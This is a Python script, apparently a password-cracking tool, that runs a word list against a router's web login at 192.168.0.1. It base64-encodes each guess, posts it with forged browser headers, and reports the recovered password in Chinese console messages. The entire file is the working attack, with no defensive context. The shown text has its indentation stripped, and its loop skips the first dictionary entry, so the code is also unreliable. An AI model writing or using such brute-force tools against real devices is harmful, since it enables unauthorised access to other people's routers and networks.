# -*- coding: utf-8 -*-
import hashlib
import io
import sys
import os
import requests
import urllib
import base64
def Dict_Data():
f = open('data/dict.txt', 'r+')
data = []
line = f.readline()
while line:
line = f.readline()
if "
" in line:
line = line.replace('
','')
data.append(line)
else:
data.append(line)
f.close()
return data
def Head_data():
head = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh,zh-CN;q=0.9",
"Cache-Control": "max-age=0",
"Connection": "keep-alive",
"Content-Length": "35",
"Content-Type": "application/x-www-form-urlencoded",
"Host": "192.168.0.1",
"Origin": "http://192.168.0.1",
"Referer": "http://192.168.0.1/login.asp",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
}
return head
def PassWord_data():
passdata = Dict_Data()
temp = []
num = int(len(passdata))
for x in range(0,num):
te = base64.b64encode(passdata[x].encode("utf-8"))
temp.append(str(te,'utf-8'))
return temp
def Main():
url = "http://192.168.0.1/login/Auth"
passdata = PassWord_data()
head = Head_data()
pwd = ""
num = int(len(passdata))
print(num)
for x in range(0,num):
Post_Password_Data = {
"password":passdata[x]
}
try:
resp = requests.post(url,Post_Password_Data,headers=head)
status = resp.url
if "pwdError" in status:
print("第",str(x),"次尝试,失败,尝试的密码是:",str(base64.b64decode(str(passdata[x])),'utf-8'),"-----------状态码:",resp.status_code)
else:
print("第",str(x),"次尝试,成功!!")
print("")
passw = base64.b64decode(passdata[x])
pwd = passw
print("密码是",str(passw))
print("")
break
except:
print("错误 ","第",str(x),"次尝试出错","错误类型:其他错误 代码:",resp.status_code,resp.headers)
break
if pwd == "":
print("破解完毕,未找到密码")
else:
print("破解完毕,密码是",str(pwd))
if __name__=="__main__":
Main()
# PassWord_data()